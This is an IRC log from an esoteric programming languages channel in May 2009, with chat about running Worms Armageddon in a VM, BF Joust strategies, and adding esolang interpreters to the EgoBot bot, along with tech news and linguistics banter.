20:12:34 Maybe it was my frustration at getting stuck on the fourth level or so, while Worms 2 didn't have levels 20:12:39 wow, DX6? 20:12:43 I'm pretty sure even Wine can manage that 20:12:43 ais523: yep 20:12:46 it can 20:12:53 you need a hacked ddraw.dll though 20:12:59 grr, it errored out 20:13:01 Master of Orion 2 wants DirectX 2 20:13:12 Deewiant: you don't have to do the levels in w:a 20:13:17 I know you don't 20:13:22 :p 20:13:37 wa caused an Access Violation (0xc0000005) 20:13:38 in module wa.exe at 001b:0044f994. 20:13:39 CyberShadow beta, version 3.6.29.0 20:13:41 Hmm. 20:13:41 ehird: consent 20:13:42 But I've equated W:A < W2 in my head 20:13:44 Don't do that, W:A, 'kay? 20:13:58 It dereferenced NULL. 20:14:07 also, ehird: later today I'm going to make it actually useful just sayin' 20:14:13 I wonder why there was a anull there? 20:14:17 *a null 20:14:27 and by extension, I wonder where it was? 20:14:29 comex: consent to what 20:14:37 oh 20:14:38 no 20:14:40 I won't consent to that 20:14:42 why not 20:14:52 because bayes 2 isn't ready yet 20:15:11 don't care, it will be 20:15:12 :< 20:15:18 Will. Future tense. 20:15:48 oh well, bobthj's pledge cannot be terminated, so we'll do it next month if necessary 20:16:29 http://www.macuser.de/forum/f105/worms-armageddon-parallels-286152/ 20:16:30 hmm 20:16:32 go implement this shit www.randomhacks.net/articles/2007/03/03/smart-classification-with-haskell 20:16:42 no 20:17:16 aha, a fix 20:17:43 that doesn't work but oh well 20:18:31 IT WORKS 20:18:32 MAYBE 20:18:34 Nope 20:20:36 brb 20:20:38 GregorR: then take the next one up as well. 20:41:31 -!- WangZeDong has joined. 20:41:31 back 20:42:50 -!- Gracenotes has joined. 20:42:51 yay, another fix 20:44:52 http://pastebin.ca/1414581 20:45:31 the fix is apparently "turn off 3d acceleration for the vm" 20:45:32 worth a try 20:45:37 that's BF joust, me-style 20:45:41 wow, wa.exe is just 4MB 20:46:14 also, it allows a couple of abbreviations in input programs 20:46:22 which expands to just pure BF, but it makes the programs a lot shorter 20:46:25 aaaaaargh 20:46:29 apparently the vm already has directx 20:46:29 (a)*5 is equivalent to aaaaa 20:46:33 and installing it breaks it 20:46:46 (a{b}c)%5 is equivalent to aaaaabccccc 20:53:09 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 20:54:50 -!- Slereah has quit (Read error: 110 (Connection timed out)). 20:57:00 -!- olsner has joined. 20:57:18 Deewiant: do you happen to know how to uninstall directx? 20:57:27 I suppose not, but you mentioned directx 6 20:58:12 I mentioned DirectX 2, actually 20:58:20 so you did 20:58:25 * ais523 mentions DirectX 15 20:58:42 And no, I don't know 20:58:55 Oh, fuck my life I'll must remake the goddamn vm >_< 20:59:22 oh, uninstalling is one of the things Windows does /really/ badly 21:00:24 one day I'll solve virtualization issues. all of 'em. 21:02:03 -!- ais523 has quit (Remote closed the connection). 21:02:15 -!- ais523 has joined. 21:02:45 "Digg (finally) gets Facebook Connect integration" 21:02:46 RIP, OpenID. 21:03:39 ? 21:03:47 Deewiant: what? 21:03:53 Non sequitur 21:03:58 No it's not. 21:04:06 It is for me, hence '?' 21:04:08 Facebook Connect serves the same purpose as OpenID except more locked down and vendor-specific. 21:04:18 And, well, shittier in general. 21:04:36 And Digg used to use OpenID but doesn't any longer, or you imply that it will not, or what? 21:05:10 Deewiant: With such large sites integrating Facebook Connect (CNN, Digg, ...) OpenID's future adoption prospects seem very bleak. 21:05:42 Ah. 21:07:05 "Starting today, Mininova will use a content recognition system that detects and removes torrent files linking to copyright infringing files" 21:07:07 RIP, Mininova. 21:07:12 (A lot of things are dying today...) 21:07:40 Hi , 21:07:41 I was wondering what would be left to download from mininova after all ”illegal” torrents are gone? Anyone have a clue? 21:07:46 SCO, too. 21:07:51 Deewiant: LINUX ISOS! 21:07:52 :) 21:07:55 SCO aren't technically dead yet 21:08:04 Yes, I get all my LINUX ISOS from Mininova 21:08:09 Yes you do! 21:08:09 Deewiant: Also, Star Trek New Voyages. 21:08:09 and unfortunately, knowing SCO, they need to be more than technically dead before they'll shut up 21:08:32 Can't be too much longer, though. 21:08:53 Their offices will probably be auctioned off in a couple months. 21:09:07 I wish something terrible-but-not-fatal would happen to the SCO people who keep pushing their shitty lawsuits. 21:09:34 Damn scum. 21:09:36 pikhq: who knows, maybe the bankruptsy will be dismissed rather than converted to chapter 7 21:09:39 stranger things have happened 21:09:45 maybe the judge will even hold it in 11 for some reason 21:10:06 Which would be horribly dumb. :/ 21:10:36 yes 21:10:51 but enough weird things have happened in the SCO litigation already I'm not taking anything for granted 21:11:01 Fair enough. 21:11:03 heh, apparently the current SCO is full of mormon kooks 21:11:20 utah's so ridiculously full of them... 21:19:19 -!- puzzlet_ has quit (Remote closed the connection). 21:19:20 -!- puzzlet has joined. 21:26:51 bwahahahaha... I'm reading some 2005 logs of CakeProphet saying he's so happy he's going to be unschooled, is asexual and always will be, forever and ever. I seem to distinctly recall him talking about getting girls naked on webcam a year or two ago in #wikipedia. XD 21:26:58 irc logs are such fun. 21:30:10 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 21:30:20 GregorR: then take the next one up as well. 21:30:24 There is no next one up! 21:30:37 The next one up, GregorR, 21:30:40 is YOUR FACE. 21:31:00 !help 21:31:00 Supported commands: addinterp bf_txtgen daemons delinterp fyb fyb.orig help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl 21:31:01 THIRD- 21:31:02 DEGREE- 21:31:03 ICE 21:31:05 BURN 21:31:07 mininova's doing what? 21:31:13 I don't see anything on their site about it 21:31:25 At the top, 'latest blog article' 21:31:27 comex: see torrentfreak.com 21:31:32 http://blog.mininova.org/articles/2009/05/06/torrent-removal-trial/ 21:31:38 Oh. 21:31:45 Congratulations, you've run out of math. 21:31:54 ehird: I looked there, top article is something about pirate party :p 21:31:57 oh, there it is 21:31:59 I'm just blind 21:40:40 ehird: http://lifthrasiir.jottit.com/esotope-bfc_comparison well, i'd thank you if you suggest more compilers worth including here. 21:40:55 err, oh dear, looking at Esolang 21:41:09 someone's written a language which is basically BASIC, except that you define commands by writing definitions of them in JS 21:41:19 at least, they didn't specify JS, but that's what the language looks like 21:41:30 also you can't redefine GOTO or END, presumably the author didn't figure a better way to do flow control 21:42:15 lifthrasiir: fungot uses run-length coding 21:42:15 ais523: " is it a nice way?" holding her hand on the top of his head.) 21:43:01 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 21:44:35 -!- puzzlet has joined. 21:45:26 !bfjoust [>[-]+] 21:45:55 anyway, me-modified BF Joust seems to have three main strategies 21:46:19 one is the aggressive one of running to the enemy flag and reducing it to 0 21:46:45 the second involves guarding your own flag, trying to leave it at 0 for exactly one cycle so your opponent falls off the end 21:46:58 and the third involves messing around slowly near your opponent's flag so a defensive opponent will self-destruct 21:47:29 they stone-paper-scissorsise quite nicel 21:47:31 *nicely 21:47:39 but you can try multiple strategies in the same program 21:55:27 fungot uses run-length coding for +, - and <, but not >; that's reasonably uncommon. 21:55:28 fizzie: advice for offby1 thanks, i'll read in it a sec. i can see " iood" there. 21:55:53 That was almost lucid 21:55:57 yes, 21:56:07 but why is there a "iood" there? 21:57:14 A "iood" is a person I know, although he's changed nicknames since then. I think fungot's seeing into the past, or some such thing. 21:57:14 fizzie: it is -much- more fun when they don't, they warn you about the contents of a string 21:57:32 fizzie: not >? quite uncommon. 21:57:34 oh, I'd love to know the context of that 21:59:13 -!- tombom has quit ("Peace and Protection 4.22.2"). 21:59:36 The latter one? 22:01:21 what comes before "it is -much- more fun when they don't" 22:01:24 probably there isnt' a consistent context 22:01:33 but it sounded like fungot was replying to someone 22:01:34 ais523: ( ( flip) 5 10)) 22:02:07 W:A WORKS! 22:02:10 PRAISE THE LORD! 22:02:15 I just had to uninstall the video drivers :P 22:02:43 ais523: It's from #scheme in 2005; here are five lines of context, such as it is. 22:02:47 [2005-03-30 09:16:52] < evoli> (who is Riastradh like?) 22:02:47 [2005-03-30 09:17:13] < evoli> must be the lobster guy? 22:02:47 [2005-03-30 09:17:47] < Riastradh> I really can't say that _I_ find any resemblance there with a...four-nosed lobster who poses as Jesus, Uncle Sam, some cowboy, a medic, or a lawyer... 22:02:47 [2005-03-30 09:18:04] * evoli sticks to the raging ancient prophet then 22:02:50 [2005-03-30 09:18:36] < evoli> it is -much- more fun when I have no idea who someone resembles in appearance :D 22:04:07 There is something about a "Zoidberg" in a "Futurama" (okay, I know what the latter thing is). That channel is not always so lucid either. 22:10:43 Futamura 22:16:47 "Vertical space is precious since if it's not wasted you can see more program in the terminal space, so don't waste it!" 22:16:49 hi 80s 22:18:00 You say that like it's a bad thing 22:19:57 Deewiant: also, plz delete your comment on that same article, I mean, internet people elsewhere = freaky, kay. :P 22:20:49 -!- BeholdMyGlory has quit (Remote closed the connection). 22:21:59 -!- puzzlet has quit (Remote closed the connection). 22:22:03 -!- puzzlet has joined. 22:32:35 -!- KingOfKarlsruhe has joined. 22:33:21 #define UP 31337 22:33:21 #define DOWN 666 22:33:21 #define LEFT 420 22:33:21 #define RIGHT 69 22:33:30 interesting defines... 22:33:58 Part of 1l_a_mmi :P 22:36:42 -!- oerjan has joined. 22:46:46 -!- FireFly has quit ("Later"). 22:51:48 wow, debian's switching their libc to a fork of glibc, rather than the original 22:51:55 yes 22:51:57 old news 22:51:57 ;) 22:52:01 a fork designed for embedded systems too 22:52:03 I welcome the change 22:52:10 * pikhq facepalms 22:52:12 well, a fork that doesn't involve Ulrich is probably the main reason 22:52:19 pikhq: it works for non-embedded systems too 22:52:19 duh 22:52:25 and it isn't just embedded 22:52:27 that was just the main goal 22:52:36 ehird: Linux libc 7 ahoy! 22:52:45 pikhq: No, eglibc. 22:52:56 Drepper fanboy :-P 22:53:01 Right, libc 7. 22:53:11 No, I'm just joking about a libc fork. 22:53:34 ;-) 22:53:42 Why else do you think that glibc 2 is libc.so.6? ;) 22:54:11 13:30:37 The next one up, GregorR, 22:54:12 13:30:40 is YOUR FACE. 22:54:17 and then - his HATS 22:54:24 that's when it gets scary. 22:54:37 THE HATS! 22:55:48 i noted that the wp article on Ulrich Drepper mentioned nothing about his assholeness, apparently it once did but was removed as insufficiently sourced, i think 22:56:09 (inferring from the talk page) 22:56:52 and one comment suggested deleting the article as he wasn't really known for anything other than being an asshole :) 23:01:38 haha 23:20:58 -!- coppro has joined. 23:24:28 -!- olsner has quit ("Leaving"). 23:33:41 !help 23:33:41 Supported commands: addinterp bf_txtgen daemons delinterp fyb fyb.orig help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl 23:34:21 !userinterps 23:34:21 Installed user interpreters: bfbignum echo hello rot13 23:34:42 !addinterp 23:34:42 There is already an interpreter for ! 23:34:45 we should add bfjoust, somehow 23:35:28 !daemons 23:35:28 Running daemons: * 23:35:51 -!- oklopol has joined. 23:35:53 helloes 23:36:11 just finished a nice 8 hours reading streak 23:36:13 *hour 23:36:18 oklo! :D 23:36:28 psyggo! 23:36:35 !help addinterp 23:36:36 addinterp: !addinterp . Add a new interpreter to EgoBot. This interpreter will be run once every time you type ! , and receive the program code as input. 23:36:48 mmmmm! 23:37:36 !help daemons 23:37:37 daemons: !daemons. List running daemons. 23:38:07 !help kill 23:38:07 kill: !kill . Kill a running daemon. 23:38:13 !* 23:38:57 don't daemons usually fly 23:39:09 good point 23:39:21 -!- ais523 has quit (Remote closed the connection). 23:41:37 Daemons don't work right now ;P 23:41:39 !addinterp yodawg unlambda http://oerjan.nvg.org/esoteric/interpreter.unl 23:41:41 Interpreter yodawg installed. 23:42:47 !yodawg ``````````````.H.e.l.l.o.,. .w.o.r.l.d.!ri 23:42:47 Hello, world! 23:42:50 :D 23:43:11 Not hugely useful to install an interpreter for a language that's already supported :P 23:43:12 !userinterps 23:43:13 Installed user interpreters: bfbignum echo hello rot13 yodawg 23:43:37 * GregorR beats his head against 1l_a 23:43:52 what about it? 23:45:03 ah 23:45:11 I made a program that should (so far) output 01 23:45:16 But instead, it outputs nothing X_X 23:45:24 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes.pl 23:45:24 Errr, cancel that, it just doesn't output the 0. 23:45:25 Interpreter slashes installed. 23:45:39 !delinterp slashes 23:45:39 Interpreter slashes deleted. 23:45:47 !addinterp /// perl http://oerjan.nvg.org/esoteric/slashes.pl 23:45:47 Interpreter ___ installed. 23:45:51 oops 23:45:57 !delinterp /// 23:45:57 Interpreter ___ deleted. 23:46:01 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes.pl 23:46:02 Interpreter slashes installed. 23:46:12 Hmmmmmmmm ... 23:46:12 !slashes test/a/test/aaa 23:46:13 testtesttesttest 23:46:42 !addinterp /// bf +++++++++[>+++++++++++++>+++++++++++>+><<<<-]>>.+++.<.-------.>+.--.>+. 23:46:42 Interpreter ___ installed. 23:46:46 !/// foo 23:46:46 cfunge 23:46:47 lawl 23:46:50 !___ foo 23:46:50 cfunge 23:46:56 !)!@ foo 23:46:56 cfunge 23:46:58 does it copy the web page, or download it each time? 23:46:59 !delinterp ___ 23:46:59 Interpreter ___ deleted. 23:47:03 oerjan: It keeps it around. 23:47:11 good 23:47:22 That was the worst and most ambiguous way I could answer that X-P 23:47:25 It only downloads it once :P 23:47:33 not that i'm aware of having any web quota 23:48:55 The server for EgoBot does, but it's 120GB :P 23:50:35 !addinterp chiqrsx9p perl http://oerjan.nvg.org/esoteric/chiqrsx9p.pl 23:50:35 Interpreter chiqrsx9p installed. 23:51:28 !chiqrsx9p hqrs+ 23:51:34 oops 23:52:35 hm 23:52:38 !chiqrsx9p h 23:52:42 bah 23:53:14 Does that take the program as input? 23:53:18 yes 23:53:22 Hm *shrugs* 23:54:37 hm lessee 23:54:49 !perl http://oerjan.nvg.org/esoteric/chiqrsx9p.pl 23:55:06 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:55:13 it doesn't give me any error either :( 23:55:26 oh wait that's not an error 23:55:47 the empty program is a quine :D 23:56:00 but no error on the defined interp 23:56:12 !help perl 23:56:13 Sorry, I have no help for perl! 23:56:22 !help 23:56:23 Supported commands: addinterp bf_txtgen daemons delinterp fyb fyb.orig help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 bf bf16 bf32 bf8 bfbignum c chiqrsx9p cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh slashes test trigger udage01 underload unlambda whirl yodawg 23:56:30 !help info 23:56:30 Sorry, I have no help for info! 23:56:35 !info 23:56:35 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 23:57:02 I guess I should add ", or use addinterp" 23:58:54 !chiqrsx9p a 23:58:55 -!- psygnisfive has quit (Remote closed the connection). 23:59:11 no error there either 2009-05-07: 00:00:16 btw chiqrsx9+ _may_ take a file name. 00:02:03 It doesn't put anything else on the command line *shrugs* 00:03:21 !delinterp chiqrsx9p 00:03:21 Interpreter chiqrsx9p deleted. 00:04:04 oh wait duh 00:04:26 !addinterp chiqrsx9p perl http://oerjan.nvg.org/esoteric/chiqrsx9+.pl 00:04:27 Interpreter chiqrsx9p installed. 00:04:35 -!- okloduk has joined. 00:04:41 !chiqrsx9p h 00:04:42 Hello, world! 00:04:47 Is that HQ9+ improved? 00:04:49 :) 00:04:51 yeah :) 00:04:55 !chiqrsx9p c 00:04:55 c 00:05:03 !chiqrsx9p i 00:05:03 Deep recursion on subroutine "main::interpret" at /tmp/input.25214 line 56, line 1. 00:05:11 !chiqrsx9p r 00:05:11 GregorR: addinterp needs to tell when the URL doesn't exist ;D 00:05:11 e 00:05:22 !chiqrsx9p s 00:05:22 s 00:05:27 !chiqrsx9p x 00:05:44 WTF do c, r, and s do? 00:06:15 c is cat, r is rot13, s is sort 00:07:09 !chiqrsx9p hq+r 00:07:09 Hello, world! 00:07:41 Ah. 00:07:45 works fine, although only i see most lines 00:08:08 * pikhq thinks it needs ski 00:08:37 !chiqrsx9p s++x 00:08:37 s++x 00:08:44 huh 00:08:49 !chiqrsx9p s+++ 00:08:49 s+++ 00:09:00 oh wait the sort is line based 00:09:14 not too useful on irc :D 00:09:31 pikhq: ski would be against the spirit of it 00:09:49 Ski that can't take s or k as arguments? 00:09:51 WTF, 1l_a_mmi REFUSES to output a 0 >_< 00:10:16 So, khq would be valid, but skkh wouldn't. ;) 00:20:41 -!- psygnisfive has joined. 00:22:56 -!- oklopol has quit (Read error: 113 (No route to host)). 00:26:23 I made a "language" called 1l_butnot to help me write 1l_a code :P 00:26:41 It's 1D, but has only >, <, [] and {} ({} is a loop-while-0) 00:26:55 -!- puzzlet has quit (Remote closed the connection). 00:27:00 I think I need to restrict it a bit more though, because I'm ending up having to add in a bunch of weird code to make it do what I want :P 00:27:08 um no + or - ? 00:27:10 -!- puzzlet has joined. 00:27:46 oerjan: See 1l_a 00:27:49 < is < and flip 00:27:53 ah 00:28:04 (Oh, and it's bitwise :P ) 00:38:24 -!- okloduk has quit (Read error: 110 (Connection timed out)). 01:28:41 -!- coppro has quit (Read error: 104 (Connection reset by peer)). 01:29:27 -!- coppro has joined. 01:32:53 Whoot, I have 1l_a outputting 010 :P 01:32:57 (The bits) 01:59:10 BLEH 01:59:22 * GregorR is meticulously and by-hand converting his 1l_butnot code into 1l_a :P 02:00:15 handmade computing 02:01:20 YAY, I printed an 'H' in 1l_a 8-D 02:03:10 (In 1l_a, that's something to be proud of :P ) 02:06:07 so you'll get to the d sometime next week? 02:06:50 http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=saint-louis-du-ha!+ha!&sll=37.0625,-95.677068&sspn=37.735377,54.316406&ie=UTF8&t=h&z=11&iwloc=A 02:07:36 Maaaaan, Canada gets the funny versions of our cities :( 02:08:17 huh? 02:08:22 What do we have? 02:10:35 see link above 02:11:14 why is it that when i do a google image search for "laughing frenchman" i get images of horses 02:11:45 psygnisfive: What did you expect? 02:11:49 * pikhq 02:11:52 a picture of a laughing frenchman, surely 02:11:54 (haw haw haw we Americans hate ze Franch) 02:13:00 http://en.wikipedia.org/wiki/Westward_Ho! 02:13:08 indeed! 02:14:33 You silly pigdog! 02:15:08 * oerjan sees inverted Rs 02:15:17 * pikhq does too. 02:15:25 Not sure why I hit Ctrl-R, anyways. 02:15:31 inverted Rs? 02:15:42 InvRted. 02:15:48 where what huh 02:16:01 <-- Those --> 02:16:05 i see none D: 02:16:16 psygnisfive is out of control 02:16:20 :( 02:16:24 Yeah, I just see \x0012 02:17:56 LOLS! 02:18:20 i will give you some upside down arrrs 02:18:24 huh, i didn't know irssi was that dominant, about half the VERSION responses were from it 02:18:30 ɹɹɹɹɹɹɹɹʁʁʁʁʁʁʁʁ 02:18:38 Well, irssi is awesome. 02:20:19 um, the capital R's are mirrored as well 02:20:26 what? 02:20:34 no theyre not 02:20:39 the lower case ones are mirrored 02:21:02 psygnisfive: in the logs they show as mirrored (also rotated upside down) 02:21:10 mine?? 02:21:12 the ones i typed? 02:21:13 yes 02:21:20 theyre upside down 02:21:29 the upper case ones, not the lower case ones 02:21:33 which i guess is mirrored along the horizontal axis 02:21:36 oh they're all upside down 02:21:47 the lowercase r's are vertically and horizontally mirrored 02:21:54 or put another way, rotated 180 degrees 02:21:56 yes. 02:22:17 the upper case are only vertically flipped 02:22:20 right 02:22:22 *ones 02:26:06 the first is a decent approximation of english r's, the second of parisian and munichian r's 02:27:04 oh you mean IPA 02:27:36 i was suddenly wondering if there was something about parisian and munichian ortography i wasn't aware of 02:32:05 :P 02:47:27 psygnisfive: Which English 'r'? 02:47:41 uh 02:47:46 english r in general. 02:48:07 psygnisfive: American English's schwer isn't the same as the consonant 'r'. 02:48:21 consonant r. schwar is a rhotic vowel, not r. 02:48:33 Schwer is a rhotic vowel spelled 'r' :P 02:48:41 (With any vowel before that) 02:48:46 no 02:48:48 (Well, really just 'u' or 'e') 02:48:48 quite the contrary 02:49:01 schwar is a very specific vowel 02:49:10 [@`] 02:49:32 and is not simply any V+/r/ sequence 02:50:07 Dies ist sehr schwer 02:51:04 psygnisfive: It's not simply any V+/r/ sequence, but in American English many of them are. (quoth wikipedia:) standard, dinner, Lincolnshire, editor, measure, martyr 02:51:15 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 02:51:24 (I love that that includes every vowel :P ) 02:51:38 actually those include only one vowel. 02:51:52 theyre all written with different letters, but thats completely irrelevant. 02:52:00 Yes. And that vowel is a schwer. 02:52:02 theres only one vowel represented in those words. 02:52:11 the vowel, underlyingly, is a schwa 02:52:30 and its the schwa+r sequence, in a single syllable, and not across syllable boundaries, which becomes schwar 02:52:38 -!- puzzlet has joined. 02:53:40 I have no idea what you're trying to argue, because what I'm trying to argue is that saying that something is pronounced like English 'r' is ambiguous because it could be the consonant 'r' or a schwer, and what you just said seems to agree with that. 02:53:55 no, i didnt. :P 02:54:09 Oh, or are you saying that you would have said "er" if you meant schwer or something... 02:54:21 english r is pronounced lik english r. schwar is not an english r. its a separate sound that results from phonological processes 02:55:13 and it only arrises in place of an underlying /@r\/. its not, in itself, a way of pronouncing /r\/, but rather a way of pronouncing /@r\/ 02:56:16 This seems like a silly argument :P 02:56:30 theres no argument :P 03:21:01 -!- Sgeo has joined. 04:00:05 -!- Slereah has joined. 04:13:21 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 04:22:26 I'm starting to un-suspect that 1l_a is T.C. 04:22:47 I think that making practical loops may be impossible. 04:30:57 How (if possible) do you put underscores in the titles of Mediawiki pages? 04:34:07 -!- bsmntbombdood has joined. 04:49:53 BTW, what do people use to edit programs in 2D languages? 04:50:35 I'm using oocalc. It works surprisingly well, and can even save without needing any further modifications to get it in the target form if you know how to ask it right, but it's a bit of a PITA because you can't just type, you have to press an arrow after every key. 04:50:46 I don't suppose somebody's written an editor? 04:53:36 it's been a while, but i think i used vim with the virtualedit option 04:55:08 hm that doesn't help with writing in other directions though... 04:57:48 i vaguely recall i may even have tried emacs for it 04:59:56 oocal... oh 05:22:07 "virtualedit"? 05:22:27 Oh, I see. 05:22:31 Yeah, that'd help. 05:23:16 Yeah, that's not bad ... I think I prefer oocalc by a liiiiiiiiiiittle bit. 05:46:46 GregorR: i think the emacs thing was called picture mode or something, and did allow for writing in other directions 05:57:58 ugh, 2d languages 06:13:55 -!- oerjan has quit ("Good night"). 06:20:21 One other very nice feature of using oocalc is that, since it's a spreadsheet, I can really trivially copy 2D areas. Can presumably do that in emacs too? 06:20:46 yeah, emacs and vim can dot hat 06:34:45 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:23:22 -!- olsner has joined. 07:33:32 -!- GreaseMonkey has joined. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:14:22 -!- tombom has joined. 08:40:04 -!- lereah_ has joined. 08:47:20 awww. http://imgur.com/2eiag.png 08:48:24 You're a kitty! 08:48:51 The number of people dying is determined by the Fermi-Dirac distribution 08:48:54 does that cat have some sort of gun? 09:22:55 -!- coppro has quit (Read error: 110 (Connection timed out)). 10:04:25 -!- WangZeDong has joined. 10:04:44 Madre de dios, es el Dong! 10:19:08 -!- Slereah has quit (Read error: 110 (Connection timed out)). 10:26:44 -!- kerlo has quit (wolfe.freenode.net irc.freenode.net). 10:27:18 -!- MizardX- has joined. 10:29:02 -!- MizardX has quit (Read error: 54 (Connection reset by peer)). 10:29:09 -!- kerlo has joined. 10:29:14 -!- MizardX- has changed nick to MizardX. 10:51:30 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 10:57:40 -!- puzzlet_ has joined. 10:58:18 -!- puzzlet has quit (Remote closed the connection). 12:22:01 -!- jix has joined. 12:54:07 -!- MizardX has quit ("Proclamation of invalidity!"). 13:08:46 -!- KingOfKarlsruhe has joined. 13:11:11 -!- MizardX has joined. 14:32:49 -!- olsner has quit (wolfe.freenode.net irc.freenode.net). 14:32:49 -!- Gracenotes has quit (wolfe.freenode.net irc.freenode.net). 14:32:49 -!- AnMaster has quit (wolfe.freenode.net irc.freenode.net). 14:32:54 -!- olsner has joined. 14:32:54 -!- Gracenotes has joined. 14:32:54 -!- AnMaster has joined. 14:37:11 -!- Gracenotes has quit (Remote closed the connection). 14:40:11 -!- FireFly has joined. 14:42:35 -!- MigoMipo has joined. 14:55:45 bsmntbombdood: 14:55:47 finally we clash! 14:58:47 bsmntbombdood: what did you want me for yesterday/day before? 15:15:59 -!- Sgeo has joined. 15:16:05 -!- MigoMipo has left (?). 15:22:33 Oh my fucking god 15:22:35 3d realms shut down 15:22:38 Duke Nukem Forever is over 15:22:49 :-( 15:23:49 That reminds me, even though Free Realms looks like junk, I should try it 15:26:01 hahahahah 15:26:04 "Poor developers got screwed over. They coded the whole thing in Arc before an implementation was released, then Paul Graham pulled a stunt and released a set of MzScheme macros instead of the auto-vectorizing native code compiler he promised them." —Slava Pestov 15:27:48 ? 15:28:01 Sgeo: on Duke Nukem Forever in response to 3D Realms shutting down 15:28:13 ah 15:33:34 -!- lereah_ has quit ("Leaving"). 15:35:07 -!- tombom has quit ("Peace and Protection 4.22.2"). 15:38:02 -!- oerjan has joined. 15:44:58 -!- Slereah has joined. 15:49:50 http://www.reddit.com/r/programming/comments/8ihf5/3d_realms_shuts_down_no_duke_nukem_ever_forever/c09e6or 15:49:53 Please let that bullshit be true. 15:52:00 http://duke.a-13.net/?080907 15:52:01 > user for 6 hours 15:52:01 :( 15:52:12 Things done during the development of duke nukem forever 15:52:16 and bonus: things that took shorter. 15:52:23 Asztal: could have been registered just to post that :p 15:52:32 i mean, by a real ex-employee, highly doubtful though 15:52:36 but I fucking want it to be true 15:52:38 _<> 15:52:39 er 15:52:40 >_< 15:52:41 Um, that site mentions a twitter user, but doesn't link to it 15:52:42 WTF 15:52:46 what 15:52:53 sure it does 15:52:58 Sgeo: 'hodapp' is a link, retardo :P 15:53:02 oh 15:53:05 it links to twitter.com 15:53:05 heh 15:53:12 The freaking *Beatles* took less time than Duke. :) 15:53:15 Sgeo: just above, though: Updated by Eli Hodapp - http://twitter.com/hodapp - http://a-13.net/ - Last Edit: 5/06/09 15:53:27 pikhq: the beatles weren't especially long lived... 15:53:30 Hm, true 15:53:39 But still, having @hodapp link to twitter.com is braindead 15:53:51 pikhq: the rolling stones have lasted 47 years so far... 15:53:56 Sgeo: or an honest mistake zomg 15:57:03 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 15:57:32 i totally didn't give a shit about dnf until that recent 15-second-or-so gameplay video, that thing just looked amazing 15:58:16 ehird: True. However, the Beatles had a very innovative and, well, *filled* career. 15:58:24 Fine, for something more stunning. 15:58:31 *Project Manhattan* took less time. 15:58:33 -!- puzzlet_ has quit (Remote closed the connection). 15:58:34 Yar. 15:58:37 -!- puzzlet has joined. 15:59:00 It'd be hard to even get it going elsewhere; nobody would fund it or buy it 15:59:26 project manhattan actually needed to get finished first... 15:59:42 Project Manhattan was the name of a duke nukem game 15:59:44 For extra lulz 15:59:47 ah 15:59:55 no 15:59:58 he meant the nuclear shit 16:00:01 but it was a duke game too 16:00:04 http://en.wikipedia.org/wiki/Duke_Nukem:_Manhattan_Project 16:15:27 http://developer.valvesoftware.com/wiki/Valve_Time ← hahaha 16:19:27 * ehird starts the Bailout 3D Realms Party 16:20:11 but is that the fake rapture or the real one? 16:20:11 * oerjan cackles evilly 16:20:16 AAAAAAAAAAAAAAAAA 16:24:08 ^ul ((B)S:^):^ 16:24:08 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ...too much output! 16:31:24 lawl, dumb redditors responding to me with the same tired, broken anti-piracy arguments 16:31:37 i replied to one and was going to bother with the others but then I realised I don't give a shit <:) 16:37:17 -!- ais523 has joined. 16:39:38 http://blog.interop.com/blog/2009/05/06/the-father-of-the-crc-passes-away/ 16:39:41 hi ais523 16:41:58 hi 16:42:06 wow, for ages my keyboard wasn't working for anything but MouseKeys 16:42:13 but it's started working again, it seems 16:46:21 * ehird starts W:A in VM. Let's see if I can't pass grenade training this time. 16:47:22 <3 Worms 16:48:33 Bah, only got the first one. As usual. 16:48:38 Sgeo: indeed, 'tis the awesome 16:48:52 ehird, we agree on something? *gasp* 16:48:57 lawl 16:50:41 Sgeo: do you disagree with AnMaster on anything? 16:51:07 I don't remember ever agreeing or disagreeing with AnMaster on anything 16:51:54 It's funny, W:A in this 512MB-of-RAM VM running a full virtualized Windows is as fast as on my real pc 16:54:49 Ugh, I don't know if I should go to school today 16:55:14 Why not 16:55:28 On the one hand, the only thing that the class is today is finding out if I passed or failed, which I may or may not be able to find out via email 16:55:42 On the other? 16:55:44 On the other hand, there are girls at the pizza place on the way home that I might not see again 16:55:58 lawl 16:56:15 hi ais523 16:56:28 hi AnMaster 16:56:30 